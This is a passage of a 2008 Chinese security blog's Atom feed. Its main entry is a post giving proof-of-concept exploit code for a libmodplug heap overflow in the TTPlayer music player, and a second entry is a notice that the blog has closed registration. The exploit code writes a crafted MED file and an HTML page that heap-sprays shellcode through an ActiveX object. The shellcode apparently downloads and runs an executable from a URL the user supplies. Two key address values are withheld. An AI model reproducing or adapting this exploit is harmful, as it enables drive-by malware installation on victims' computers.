		  <summary type="html"><![CDATA[PS：一场血腥又要来到！！<br/><br/> <br/>By dummy<br/><br/>上个月看的洞，昨天晚上又重新翻看了一下这个洞，终于看到了成功利用的可能性。<br/>远程和本地攻击最后都可以，本地攻击成功比较低一些，头疼。<br/>详细的利用代码不贴了，详细可以看看 libmod 的源码<br/><br/>下面是远程部分 poc, 2个关键 DWORD 值隐藏了. <br/><br/>代码:<br/>/*<br/>libmodplug v0.8<br/> load_med.cpp<br/> BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)<br/> line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);<br/><br/>千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中，没有检查<br/>文件描述的长度，如果传递一个恶意构造的值，将导致堆溢出。<br/>现在采用libmod 软件很多，都应该存在此问题。<br/><br/>*/<br/><br/>/*<br/> author: dummy<br/> e-mail: dummyz@126.com<br/><br/> date: 2008/02/25<br/>*/<br/><br/>#include &lt;windows.h&gt;<br/>#include &lt;stdio.h&gt;<br/><br/>#pragma pack(1)<br/><br/>typedef struct tagMEDMODULEHEADER<br/>{<br/> DWORD id; // MMD1-MMD3<br/> DWORD modlen; // Size of file<br/> DWORD song; // Position in file for this song<br/> WORD psecnum;<br/> WORD pseq;<br/> DWORD blockarr; // Position in file for blocks<br/> DWORD mmdflags;<br/> DWORD smplarr; // Position in file for samples<br/> DWORD reserved;<br/> DWORD expdata; // Absolute offset in file for ExpData (0 if not present)<br/> DWORD reserved2;<br/> WORD pstate;<br/> WORD pblock;<br/> WORD pline;<br/> WORD pseqnum;<br/> WORD actplayline;<br/> BYTE counter;<br/> BYTE extra_songs; // # of songs - 1<br/>} MEDMODULEHEADER;<br/><br/>typedef struct tagMMD0SAMPLE<br/>{<br/> WORD rep, replen;<br/> BYTE midich;<br/> BYTE midipreset;<br/> BYTE svol;<br/> signed char strans;<br/>} MMD0SAMPLE;<br/><br/>// MMD0/MMD1 song header<br/>typedef struct tagMMD0SONGHEADER<br/>{<br/> MMD0SAMPLE sample[63];<br/> WORD numblocks; // # of blocks<br/> WORD songlen; // # of entries used in playseq<br/> BYTE playseq[256]; // Play sequence<br/> WORD deftempo; // BPM tempo<br/> signed char playtransp; // Play transpose<br/> BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song<br/> BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on<br/> BYTE tempo2; // tempo TPL<br/> BYTE trkvol[16]; // track volumes<br/> BYTE mastervol; // master volume<br/> BYTE numsamples; // # of samples (max=63)<br/>} MMD0SONGHEADER;<br/><br/>typedef struct tagMMD0EXP<br/>{<br/> DWORD nextmod; // File offset of next Hdr<br/> DWORD exp_smp; // Pointer to extra instrument data<br/> WORD s_ext_entries; // Number of extra instrument entries<br/> WORD s_ext_entrsz; // Size of extra instrument data<br/> DWORD annotxt;<br/> DWORD annolen;<br/> DWORD iinfo; // Instrument names<br/> WORD i_ext_entries; <br/> WORD i_ext_entrsz;<br/> DWORD jumpmask;<br/> DWORD rgbtable;<br/> BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)<br/> DWORD n_info;<br/> DWORD songname; // Song name<br/> DWORD songnamelen;<br/> DWORD dumps;<br/> DWORD mmdinfo;<br/> DWORD mmdrexx;<br/> DWORD mmdcmd3x;<br/> DWORD trackinfo_ofs; // ptr to song-&gt;numtracks ptrs to tag lists<br/> DWORD effectinfo_ofs; // ptr to group ptrs<br/> DWORD tag_end;<br/>} MMD0EXP;<br/><br/>#pragma pack()<br/><br/>// Byte swapping functions from the GNU C Library and libsdl<br/><br/>/* Swap bytes in 16 bit value. */<br/>#ifdef __GNUC__<br/># define bswap_16(x) \<br/> (__extension__ \<br/> ({ unsigned short int __bsx = (x); \<br/> ((((__bsx) &gt;&gt; 8) &amp; 0xff) | (((__bsx) &amp; 0xff) &lt;&lt; 8)); }))<br/>#else<br/>static __inline unsigned short int<br/>bswap_16 (unsigned short int __bsx)<br/>{<br/> return ((((__bsx) &gt;&gt; 8) &amp; 0xff) | (((__bsx) &amp; 0xff) &lt;&lt; 8));<br/>}<br/>#endif<br/><br/>/* Swap bytes in 32 bit value. */<br/>#ifdef __GNUC__<br/># define bswap_32(x) \<br/> (__extension__ \<br/> ({ unsigned int __bsx = (x); \<br/> ((((__bsx) &amp; 0xff000000) &gt;&gt; 24) | (((__bsx) &amp; 0x00ff0000) &gt;&gt; 8) | \<br/> (((__bsx) &amp; 0x0000ff00) &lt;&lt; 8) | (((__bsx) &amp; 0x000000ff) &lt;&lt; 24)); }))<br/>#else<br/>static __inline unsigned int<br/>bswap_32 (unsigned int __bsx)<br/>{<br/> return ((((__bsx) &amp; 0xff000000) &gt;&gt; 24) | (((__bsx) &amp; 0x00ff0000) &gt;&gt; 8) |<br/> (((__bsx) &amp; 0x0000ff00) &lt;&lt; 8) | (((__bsx) &amp; 0x000000ff) &lt;&lt; 24));<br/>}<br/>#endif<br/><br/>#ifdef WORDS_BIGENDIAN<br/>#define bswapLE16(X) bswap_16(X)<br/>#define bswapLE32(X) bswap_32(X)<br/>#define bswapBE16(X) (X)<br/>#define bswapBE32(X) (X)<br/>#else<br/>#define bswapLE16(X) (X)<br/>#define bswapLE32(X) (X)<br/>#define bswapBE16(X) bswap_16(X)<br/>#define bswapBE32(X) bswap_32(X)<br/>#endif<br/><br/>#define FILE_SIZE_ 0x30000<br/>// 远程攻击<br/>#if 0<br/>// 成功率很低<br/>#define NOP_ &#34;\&#34;%u090aऊ\&#34;&#34;<br/>#define HEAP_ADDR_ 码<br/>#else<br/>// 成功率很高<br/>#define NOP_ &#34;\&#34;邐邐\&#34;&#34;<br/>#define HEAP_ADDR_ 码<br/><br/>#endif<br/><br/>const unsigned char shellcode[174] =<br/>{<br/> // 必须是偶数大小<br/> 0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,<br/> 0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,<br/> 0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,<br/> 0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,<br/> 0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,<br/> 0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,<br/> 0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,<br/> 0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,<br/> 0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,<br/> 0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,<br/> 0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90<br/>};<br/><br/>const char* script1 = \<br/> &#34;&lt;html&gt;&lt;body&gt;&lt;object id=\&#34;ttp\&#34; classid=\&#34;clsid:89AE5F82-410A-4040-9387-68D1144EFD03\&#34;&gt;&lt;/object&gt;&lt;script&gt;&#34;<br/> &#34;var sc=unescape(\&#34;&#34;;<br/>const char* script2 = \<br/> &#34;\&#34;);&#34;<br/> &#34;fb=unescape(&#34; NOP_ &#34;);&#34;<br/> &#34;while(fb.length&lt;0x30000)fb+=fb;&#34;<br/> &#34;m=new Array();&#34;<br/> &#34;for(x=0;x&lt;400;x++)m[x]=sc+fb+sc;&#34;<br/> &#34;setTimeout(\&#39;ttp.URL=\&#34;&#34;;<br/>const char* script3 = \<br/> &#34;\&#34;;ttp.controls.play();\&#39;, 3);&lt;/script&gt;&#34;<br/> &#34;&lt;/body&gt;&#34;<br/> &#34;&lt;/html&gt;&#34;;<br/><br/>void make_med_file(const char* path)<br/>{<br/> MEDMODULEHEADER mmh;<br/> MMD0SONGHEADER msh;<br/> MMD0EXP mex;<br/> FILE* file;<br/> long p;<br/><br/> memset(&amp;mmh, 0, sizeof (mmh));<br/> memset(&amp;msh, 0, sizeof (msh));<br/> memset(&amp;mex, 0, sizeof (mex));<br/> <br/> p = 0;<br/><br/> mmh.id = 0x30444D4D; // version = &#39;0&#39;<br/><br/> p += sizeof (MEDMODULEHEADER);<br/> mmh.song = bswapBE32(p);<br/><br/> p += sizeof (MMD0SONGHEADER);<br/> mmh.expdata = bswapBE32(p);<br/> <br/> p += sizeof (MMD0EXP);<br/> mex.annolen = bswapBE32(-1);<br/> mex.annotxt = bswapBE32(p);<br/> <br/> file = fopen(path, &#34;wb+&#34;);<br/> if ( file == NULL )<br/> {<br/> printf(&#34;cr&#101;ate file failed!\n&#34;);<br/> exit(0);<br/> }<br/> else<br/> {<br/> fwrite(&amp;mmh, 1, sizeof (mmh), file);<br/> fwrite(&amp;msh, 1, sizeof (msh), file);<br/> fwrite(&amp;mex, 1, sizeof (mex), file);<br/> <br/> while ( ftell(file) &lt; FILE_SIZE_ )<br/> {<br/> fwrite(HEAP_ADDR_, 1, 4, file);<br/> }<br/> <br/> fclose(file);<br/> printf(&#34;successed!\n&#34;);<br/> }<br/>}<br/><br/>void make_htlm_file(const char* htmlpath, const char* s3mpath, const char* url)<br/>{<br/> FILE *file = fopen(htmlpath, &#34;w+&#34;);<br/> if ( file == NULL )<br/> {<br/> printf(&#34;cr&#101;ate &#39;%s&#39; failed!\n&#34;, htmlpath);<br/> exit(0);<br/> }<br/><br/> fprintf(file, &#34;%s&#34;, script1);<br/> for ( unsigned i = 0; i &lt; sizeof (shellcode); i += 2 )<br/> fprintf(file, &#34;%%u%02X%02X&#34; , shellcode[i + 1], shellcode[i]);<br/> <br/> const unsigned l = strlen(url);<br/> for ( unsigned j = 0; j &lt; l; j += 2 )<br/> fprintf(file, &#34;%%u%02X%02X&#34; , url[j + 1], url[j]);<br/> <br/> fprintf(file, &#34;%s%s%s&#34;, script2, s3mpath, script3);<br/> fclose(file);<br/> <br/> printf(&#34;make &#39;%s&#39; successed!\n&#34;, htmlpath);<br/>}<br/><br/>int main(int argc, char* argv[])<br/>{<br/> printf(&#34;ttplayer stack exp poc by dummyz@126.com\n&#34;);<br/> if ( argc &lt;= 1 )<br/> {<br/> printf(&#34;need argv!(ex: %s <a href="http://xxx.xxx/xx.exe" target="_blank">http://xxx.xxx/xx.exe</a>\n&#34;, argv[0]);<br/> return -1;<br/> }<br/> <br/> printf(&#34;+ make_med_file...\n&#34;);<br/> make_med_file(&#34;c:\\shit.s3m&#34;);<br/><br/> printf(&#34;+ make_htlm_file...\n&#34;);<br/> make_htlm_file(&#34;poc.html&#34;, &#34;c://shit.s3m&#34;, argv[1]);<br/><br/> printf(&#34;done.\n&#34;);<br/><br/> return 0;<br/>}]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=276" /> 
	  <id>http://www.hacksafe.org/default.asp?id=276</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[BLOG已关闭注册！删除掉从注册起从未登陆的ID!]]></title>
	  <author>
		 <name>hacksafe</name>
		 <uri>http://www.hacksafe.org/</uri>
		 <email>hacksafe@163.com</email>
	  </author>
	  <category term="" scheme="http://www.hacksafe.org/default.asp?cateID=8" label="心情随笔" /> 
	  <updated>2008-04-01T01:30:00+08:00</updated>
	  <published>2008-04-01T01:30:00+08:00</published>
		  <summary type="html"><![CDATA[4月2号，删除掉自从注册但是从来没登陆过的ID！<br/><br/><br/>---------------------------------------------------------------------------------------------------<br/><br/><br/>BLOG于四月一日关闭注册！当时为了庆祝自己的生日开发了一个月，95名朋友支持。<br/><br/>希望有ID的朋友经常登陆，因为我从明天起，会清理掉2周不登陆的用户！<br/><br/>有问题可以直接在BLOG处留言，并留下你的联系方式，我会主动和你联系！<br/><br/><br/>---------------------------------------------------------------------------------------------------<br/><br/><br/><br/><br/>BLOG已关闭注册！禁止了游客发表评论！<br/><br/><br/>----------------------------------------------------------------------------------------------------<br/><br/><br/><br/>因为空间是我购买的，每个月都有2G流量限制。<br/><br/>现在几乎每个月都不够了，每到月底BLOG都访问不了。<br/><br/>现在论坛开放下注册2周后关闭，以后所有下载的附件统统会员才能下载！<br/><br/><br/>如果你经常来我BLOG。请先注册下！<br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.hacksafe.org/default.asp?id=190" /> 
	  <id>http://www.hacksafe.org/default.asp?id=190</id> 
  </entry>	
		
</feed>